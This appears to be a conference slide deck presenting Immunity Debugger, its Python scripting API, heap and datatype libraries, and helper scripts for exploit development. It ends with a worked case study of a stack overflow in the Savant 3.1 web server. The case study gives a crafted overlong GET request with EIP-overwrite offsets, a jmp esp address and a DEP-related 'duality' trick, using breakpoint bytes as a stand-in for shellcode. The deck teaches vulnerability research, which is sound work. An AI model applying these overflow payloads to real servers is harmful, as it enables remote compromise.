Intelligent Debugging for Vulnerability Analysis and Exploit Development

IMMUNITY Security Research
Who am I?

- Damian Gomez, Argentina
- Being working @ Immunity since early 2006
- Security Research focusing on:
  - Vulnerability analysis
  - Exploit development
- VisualSploit lead developer
- Main developer of Immunity Debugger project
## Introduction

An exploit may be coded in multiples languages:

<table>
<thead>
<tr>
<th>Language</th>
<th>Language</th>
<th>Language</th>
<th>Language</th>
</tr>
</thead>
<tbody>
<tr>
<td>Asm</td>
<td>Pascal</td>
<td>zmud!</td>
<td>Coffee</td>
</tr>
<tr>
<td>C</td>
<td>Fortran</td>
<td>whitespace</td>
<td>Clipper</td>
</tr>
<tr>
<td>Python</td>
<td>Lisp</td>
<td>yacc</td>
<td>Delphi</td>
</tr>
<tr>
<td>Perl</td>
<td>Brainfuck</td>
<td>smalltalk</td>
<td>B</td>
</tr>
<tr>
<td>Shellscript</td>
<td>Cupid</td>
<td>C#</td>
<td>A</td>
</tr>
<tr>
<td>PHP</td>
<td>Gap</td>
<td>C++</td>
<td>C</td>
</tr>
<tr>
<td>Cobol</td>
<td>Kermit</td>
<td>C--</td>
<td></td>
</tr>
<tr>
<td>Foxpro</td>
<td>Java</td>
<td>C</td>
<td></td>
</tr>
</tbody>
</table>

- zmud!
- whitespace
- yacc
- smalltalk
- C#
<p>| | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Clist</td>
<td>Lingo</td>
<td>VisualBasic</td>
<td>Quickbasic</td>
<td></td>
</tr>
<tr>
<td>Kalkulon</td>
<td>Fortress</td>
<td>Nemerle</td>
<td>Ruby</td>
<td></td>
</tr>
<tr>
<td>ABC</td>
<td>elastiC</td>
<td>Objetive-C</td>
<td>S</td>
<td></td>
</tr>
<tr>
<td>ADA</td>
<td>D</td>
<td>Phantom</td>
<td>Obliq</td>
<td></td>
</tr>
<tr>
<td>ALF</td>
<td>cT</td>
<td>Prolog</td>
<td>GNU E</td>
<td></td>
</tr>
<tr>
<td>Batch</td>
<td>AWK</td>
<td>Simula</td>
<td>COMAL</td>
<td></td>
</tr>
<tr>
<td>TOM</td>
<td>Felix</td>
<td>Snobol</td>
<td>NetRexx</td>
<td></td>
</tr>
<tr>
<td>OZ</td>
<td>Guile</td>
<td>Turing</td>
<td>PL/B</td>
<td></td>
</tr>
<tr>
<td>Modula-3</td>
<td>MC#</td>
<td>Blue</td>
<td>Sather</td>
<td></td>
</tr>
</tbody>
</table>
etc
Immunity VisualSploit introduced a graphical domain-specific language for exploit development.
Exploits are a functional representation of Intelligent Debugging.
We want a debugger with a “rich API” for exploit development

- Simple, understandable interface
- Robust and powerful scripting language for automating intelligent debugging
- Lightweight and fast debugging so as not to corrupt our results when doing complex analysis
- Connectivity to fuzzers and other exploit development tools
No one user interface model is perfect for all exploit development situations

- These three main characteristics will help us achieve what we want:
  - GUI
  - Command Line
  - Scripting language
A debugger's GUI can take weeks off the time it takes to write an exploit

- Easy visualization of debugee context
  - Does EAX point to a string I control? Yes!
- Faster to learn for complex commands
- Downside: Slower usage than commandline due to mice
The command line is the faster option

- Example GDB commandline:
  - x/i $pc-4

- Example WinDBG commandline:
  - u eip -4

- Example Immunity Debugger commandline:
  - u eip -4
Immunity Debugger's Scripting Language is Python 2.5

- Automate tasks as fast as you can think of them
- Powerful included API for manipulating the debugger
  - Need another API hook? Email dami@immunityinc.com
- Familiar and easy to learn
- Clean and reusable code with many examples
GUI+CLI+Python = Faster, better exploits

• Immunity Debugger integrates these 3 key features to provide a vuln-dev oriented debugger

• Cuts vulnerability development time in half during our testing (Immunity buffer overflow training)

• Allows for the rapid advancement of state-of-the-art techniques for difficult exploits
Immunity debugger running a custom script from its command box and controlling the GUI output
The Immunity Debugger API:

- The API is simple
- It usually maintains a cache of the requested structures to speed up the experience (especially useful for search functions)
- It can not only perform debugging tasks, but also interact with the current GUI
- Keep in mind that you are creating a new instance on every command run, so the information in it will be regenerated on each run.
How deep can we dive with the API?

- Assembly/Disassembly
- Breakpoints
- Read/Write Memory
- Searching
- Execution and stepping
- Analysis
- Interaction with GUI
Interacting with the GUI offer:

- New windows for displaying your custom data
- Tables, Dialog boxes, Input dialogs
  - Create a wizard for complex scripts like findantidep
- Add functionality to already existent windows
- The possibility to create a python based orthogonal drawing algorithm and get something like this:
Python API Orthogonal Grapher
Immlib: R/W Memory

- readMemory(address, size)
- readLong(address)
- readShort(address)
- readString(address)
- readUntil(address, ending_char)
- writeMemory(address, buf)
Immlib: Searching

- The following search functions return a list of addresses where a particular value was found.
  - `Search(buf)`
  - `searchLong(long_int)`
  - `searchShort(short_int)`
Immlib: Searching

- Searching Commands
- Commands are sequence of asm instruction with a bit of regexp support
  - searchCommands(cmd)
  - SearchCommandsonModule(address, cmd)
- Returns a list of (address, opcodes, module)
- ex:
  
  ```
  imm.searchCommands("pop RA\npop RB\nret")
  ```
Immlib: Searching

• Keep in mind, that SearchCommands use the disassemble modules to search, so if you want a deeper search (without regexp) you can do:

```python
ret = imm.Search(imm.Assemble("jmp EBX"))
```
Immlib: Searching

• Finding a module which an address belongs to:
  - `findModule(address)`

• Finding exported function on loaded addresses
  - `findDependencies(lookfor)`

Note: `lookfor` is a table of functions to search for
Immlib: Getting References

• Getting Code XREF:
  – getXrefTo(address)
  – getXrefFrom(address)

• Getting Data XREF
  – findDataRef(address)
Immlib: Knowledge

- Since every run of a script is ephemeral, there is a way to save some data and use it on a second run of the same script or any other script:
  - imm.addKnowledge("nocrash", cpu_context)
  - imm.getKnowledge("nocrash")
There are three ways to script Immunity Debugger

- PyCommands
- PyHooks
- PyScripts
PyCommands are temporary scripts

- Decrease developing and debugging time
- Non-caching (run, modify, and re-run your PyCommand at will, without restarting the debugger)
- Accessible via command box, or GUI
- Integrate with debugger's features (including the GUI)
Scripting Immunity Debugger

• Writing a PyCommand is easy

• command.py

```python
import immlib

def main(args):
    imm=immlib.Debugger()
    imm.Log("Done")
```

• Place it into PyCommands directory and you are ready to go
Scripting Immunity Debugger

PyHooks:

• Hooks are Objects that hang on debugger events and get executed when that event is hit.

• We have 11 different hooks:

```python
class BpHook(Hook)
class LogBpHook(Hook)
class AllExceptHook(Hook)
class PostAnalysisHook(Hook)
class AccessViolationHook(Hook)
class LoadDLLHook(Hook)
class UnloadDLLHook(Hook)
class CreateThreadHook(Hook)
class ExitThreadHook(Hook)
class CreateProcessHook(Hook)
class ExitProcessHook(Hook)
```
Scripting Immunity Debugger

Creating a Hook is easy:

```python
import immlib
from immlib import PostAnalysisHook
class MyOwnHook(PostAnalysisHook):
    def __init__(self):
        PostAnalysisHook.__init__(self)
    def run(self, regs):
        """This will be executed when hooktype happens""
        imm = immlib.Debugger()
```

Hooks always has CPU context at runtime
Identify common coding problems by running a program under Immunity Debugger

• `strncpy(dest, src, strlen(src))`
  - Common vulnerability primitive

• Similar vulnerabilities, such as `memcpy(dest, src, sizeof(src))` are also detectable using slightly more advanced Immunity Debugger API's
Hook example: logpoint on strncpy

- Instantiate debugger class
- Set logpoint address [strncpy]
- Create logbphook

```python
def main():
    imm = immlib.Debugger()
    bp_address=0x32772DDC  # strncpy
    logbp_hook = MyOwnHook()
    logbp_hook.add("bp_on_strncpy",bp_address)
    imm.Log("Placed strncpy hook: bp_on_strncpy")
```
Hook example: logpoint on strncpy

- The MyOwnHook class

```python
class MyOwnHook(LogBpHook):
    def __init__(self):
        LogBpHook.__init__(self)

    def run(self, regs):
        imm = immlib.Debugger()
        src = regs['ESP'] + 0x8  # strncpy second arg
        maxlen = regs['ESP'] + 0xc  # strncpy third arg
        res=imm.readMemory(src, 4)
        leng=imm.readMemory(maxlen, 4)
```

Get arguments from CPU context
logpoint on strncpy (continuation)

```c
#read src arg
readed=imm.readString(src_addr)
imm.Log("strncpy source: %s" %readed)
if len(readed) == int(size):
    imm.Log("*** STACK ***")
callstack=imm.callStack()
for a in callstack:
    imm.Log("Address: %08x - Stack: %08x - \
Procedure: %s - frame: %08x - called from: %08x"
% (a.address,a.stack,a.procedure,a.frame,a.calledfrom))
```

Log callstack if the size arg is the same as the src string size
Logpoint on strncpy: results

debug, debug, debug, and check your results:
Injecting a hook into your target for debugging

- Logging hook
- Much faster, since it doesn't use the debugger
- Inject ASM code into debugged process
- Hooked function redirects to your asm code
- The information is logged in the same page
- Used in hippie heap analysis tool
There are drawbacks to using injection hooking

- Inject Hooking only reports the result, you cannot do conditionals on it (for now)

- Hooking on Functions:

```python
fast = immlib.STDCALLFastLogHook( imm )
fast.logFunction( 0x1006868, 3 )
fast.logRegister( 'EAX' )
fast.logFunction( 0x1003232 )
fast.Hook()
imm.addKnowledge(Name, fast)
```
Printing the results of an injection hook

- Get the results directly from the log window

```python
fast = imm.getKnowledge( Name )
ret  = fast.getAllLog()
for ndx in ret:
    if ndx[0] == 0x1006868:
        imm.Log("0x1006868(\%x, \%x, \%x) \leftarrow \%x\"
            % (a[1][0], a[1][1], a[1][2], a[1][3]))
```
Heap analysis is one of the most important tasks for exploit development

- Printing the state of a heap
- Closely examining a heap or heap chunk
- Saving and restoring heap state for comparison
- Visualizing the heap
- Automatically analyzing the heap
Immunity Debugger Heap Lib

• Getting all current heaps:
  
  ```python
  for hndx in imm.getHeapsAddress():
      imm.Log("Heap: 0x%08x" % hndx)
  ```

• Getting a Heap object
  
  ```python
  pheap = imm.getHeap( heap )
  ```

• Printing the FreeList
  
  ```python
  pheap.printFreeList( uselog = window.Log )
  ```

• Printing the FreeListInUse
  
  ```python
  pheap.printFreeListInUse( uselog = window.Log )
  ```
Immunity Debugger Heap Lib

- Printing chunks
  
  ```python
  for chunk in pheap.getChunks( chunkaddress ):
    chunk.printchunk( uselog = window.Log,
                      option=chunkdisplay,
                      dt=discover)
  ```

- Accessing chunk information
  
  ```
  chunk.size  #packed size (usize unpacked)
  chunk.psize #packed size (upsize unpacked)
  chunk.flags
  chunk.nextchunk  # FLINK
  chunk.prevchunk  # BLINK
  ```
Immunity Debugger Heap Lib

• Searching Chunks

SearchHeap(imm, what, action, value, heap = heap, option = chunkdisplay)

what (size, usize, psize, upsize, flags, address, next, prev)

action (=, >, <, >=, <=, &, not, !=)

value (value to search for)

heap (optional: filter the search by heap)
Datatype Discovery Lib

• Finding datatype on memory

```python
import libdatatype
dt = libdatatype.DataTypes(imm)
ret = dt.Discover(memory, address, what)
```

- **memory**: memory to inspect
- **address**: address of the inspected memory
- **what**: (all, pointers, strings, asciistrings, unicodestrings, doublelinkedlists, exploitable)

```python
for obj in ret:
    print(ret.Print())
```
Datatype Discovery Lib

- Types of pointers

```python
import libdatatype
dt = libdatatype.DataTypes(imm)
ret = dt.Discover(memory, address, what='pointer')
for obj in ret:
    print ret.isFunctionPointer()
    print ret.isCommonPointer()
    print ret.isDataPointer()
    print ret.isStackPointer()
```
Immunity Debugger Scripts

- Team Immunity has been coding scripts for:
  - Vulnerability development
  - Heap
  - Analysis
  - Protocols
  - Search/Find/Compare Memory
  - Hooking
Example Scripts: Safeseh

- safeseh
  - Shows you all the exception handlers in a process that are registered with SafeSEH.
  - Code snip:

```python
if LOG_HANDLERS==True:
    for i in range(sehlistssize):
        sehaddress=struct.unpack('<L',imm.readMemory(sehlistaddress+4*i,4))[0]
        sehaddress+=mzbase
        table.add(sehaddress,[key,'0x%08x'@(sehaddress)])
        imm.Log('0x%08x'@(sehaddress))
...
Example Scripts

- Findantidep
  - Find address to bypass software DEP
  - A wizard will guide you through the execution of the findantidep script

- Get the result

```plaintext
findantidep
```
Finding memory leaks magically

- **leaksniff**
  - Pick a function
  - `!funsniff` function
  - Fuzz function
  - Get the leaks
Finding datatypes in memory magically

- `finddatatype`
  - Specify an address
  - Set the size to read
  - Get a list of data types
Example Scripts: Chunk analyze

- chunkanalizehook

  - !chunkanalizehook -a addr_of_rep_mov mov EDI-8
  - Run the script and fuzz
  - Get the result (aka, see what of your command on the fuzzing get you a overwrite of a Function Ptr or Double Linked list)
Example Scripts: duality

- Duality
  - Looks for mapped address that can be 'transformed' into opcodes
Example Scripts : Finding Function Pointers

- !modptr <address>
  - this tool will do data type recognition looking for all function pointers on a .data section, overwriting them and hooking on Access Violation waiting for one of them to trigger and logging it
Case Study: Savant 3.1 Stack Overflow

- Savant webserver (savant.sourceforge.net)
- Stack overflow when sent long get request

```c
evilstring="\x41" * 284
buf = "GET /%s HTTP/1.0\r\n\nContent-Length: %d\r\n\n%s" \
     % (evilstring, 0x30, "B" * 0x30)
send(buf)
```

however...
Case Study: Savant 3.1

First problem

- Overwritten stack arguments won't allow us to reach EIP
Case Study: Savant 3.1

First problem

- So we need to find a readable address to place as the argument there....

- And we'll face the second argument: a writable address
Case Study: Savant 3.1

To hit EIP:

- A readable address
- A writable address
- The arguments offsets in our evilstring:

```plaintext
evilstring="\x41" * 284
buf = "GET /%s HTTP/1.0\r\n\nContent-Length: %d\r\n\n%s" \
    % (evilstring, 0x30, "B" * 0x30)
send(buf)
```
Case Study: Savant 3.1

Finding the offsets...
Case Study: Savant 3.1

We get something like this:

```plaintext
evilstring="\xcc" * 267
evilstring+="\x42\x42\x42\x42" # EIP
evilstring+="\x20\x60\xfd\x7f" # 7ffd6020 + 24h writable arg
evilstring+="\x20\x60\xfd\x7f" # 7ffd6020 readable arg
evilstring+="\xcc" * 6
```

And with the arguments issue solved we are able to cleanly hit EIP
Case Study: Savant 3.1

• Once we hit EIP, in detail we have control over:
  - EBP value
  - EIP value (of course)
  - What ESP points to (1 argument)
  - What ESP + 4 points to (2 argument)
  - More than 200 bytes buffer starting at [EBP – 104H] to [EBP - 8H]
And with this context, the first thing one would think is:
we need to jump back,

but how?
Second Problem....
Case Study: Savant 3.1

Since we are controlling what ESP points to, what if we could find an address to place as the overwritten argument, which:

- Is writable [remember first problem]
- Can be “transformed” into opcodes that would be of use here...like a 'jmp -10' (to land into our controlled buffer)
Case Study: Savant 3.1

Finding an address with these characteristics might be pretty tedious...or a matter of seconds using one of the Immunity Debugger scripts we talked a few minutes ago: Duality

```
!duality jmp -10
```

Addresses founded: 69 (Check the Log Window)
Case Study: Savant 3.1

How duality works:

- Create a mask of the searched code [jmp -10]
- Get all mapped memory pages
- Find all addresses that match our masked searchcode
- Log results:
Case Study: Savant 3.1

Almost there:

- Before finishing crafting our evilstring with the brand new transformable address we'll need to find a jmp esp for EIP:
  
  • Searchcode script will do that in a quick and easy way

<table>
<thead>
<tr>
<th>Found at</th>
<th>ESP Address</th>
<th>Module Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x4567</td>
<td>0x123456</td>
<td>SHELL32</td>
</tr>
<tr>
<td>0x89abcdef</td>
<td>0x1234567</td>
<td>OLE32</td>
</tr>
<tr>
<td>0xabcdef</td>
<td>0x123456789</td>
<td>USER32</td>
</tr>
<tr>
<td>0x1234</td>
<td>0x56789abcdef</td>
<td>ACTIVEDS2</td>
</tr>
</tbody>
</table>

Searchcode jmp esp

Found 48 addresses (Check the Log Windows for details)
Case Study: Savant 3.1

Resume:

- Bypassed arguments problem
- Hit EIP
- Searched for a writable address that can be transformed into a desired opcode (0x7ffdf0eb)
- Searched for a jmp esp (0x74fdee63)
- Crafted the string:

```c
evilstring="\xcc" * 267
evilstring+="\x63\xee\xfd\x74" # EIP (jmp esp)
evilstring+="\xeb\xfe\xfd\x7f" #7ffdf0eb (writable address (transformed a jmp -10))
evilstring+="\xc3\x12\xfd\x74" #arg2 (readable address)
evilstring+="\xcc" * 6
```
Conclusions

- ID wont give you an out-of-box exploit (yet) but:
  - It will speed up debugging time (gui + commandline)
  - Will help you finding the bug (API + libs + scripts)
  - Will help you crafting your exploit (make it reliable!)

- ID is not a proof-of-concept application (it has been used for months successfully by our vuln-dev team)
Download Immunity Debugger now!

Get it free at:

http://debugger.immunityinc.com

Comments, scripts, ideas, requests:

dami@immunityinc.com